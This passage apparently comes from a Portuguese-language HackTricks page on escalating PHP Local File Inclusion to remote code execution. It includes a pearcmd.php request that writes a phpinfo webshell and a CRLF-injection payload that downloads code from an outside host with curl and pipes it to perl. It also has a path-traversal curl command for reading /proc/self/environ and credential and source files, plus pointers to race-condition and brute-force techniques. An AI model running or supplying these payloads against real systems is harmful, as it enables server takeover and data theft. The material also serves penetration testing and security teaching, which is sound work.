GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

O seguinte explora uma CRLF vuln para obter RCE (a partir de here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Se você encontrou uma Local File Inclusion e um arquivo expondo phpinfo() com file_uploads = on, você pode obter RCE:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Se você encontrou uma Local File Inclusion e você consegue exfiltrar o caminho do arquivo temporário MAS o servidor está verificando se o arquivo a ser incluído tem PHP marks, você pode tentar bypass dessa verificação com essa Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Se você puder abusar do LFI para upload temporary files e fazer o servidor travar a execução do PHP, você poderia então brute force filenames during hours para encontrar o arquivo temporário:

LFI2RCE via Eternal waiting

Para Erro Fatal

Se você incluir qualquer um dos arquivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Você precisa incluir o mesmo 2 time para causar esse erro).

I don’t know how is this useful but it might be.
Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP enviados são removidos.

Preserve traversal sequences from the client

Alguns clientes HTTP normalizam ou colapsam ../ antes da request chegar ao servidor, quebrando payloads de directory traversal. Use curl --path-as-is para manter o traversal intacto quando abusar de log/download endpoints que concatenam um filename controlado pelo usuário, e adicione --ignore-content-length para pseudo-files como /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Ajuste o número de segmentos ../ até escapar do diretório pretendido e, em seguida, extraia /etc/passwd, /proc/self/cwd/app.py ou outros arquivos de origem/configuração.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks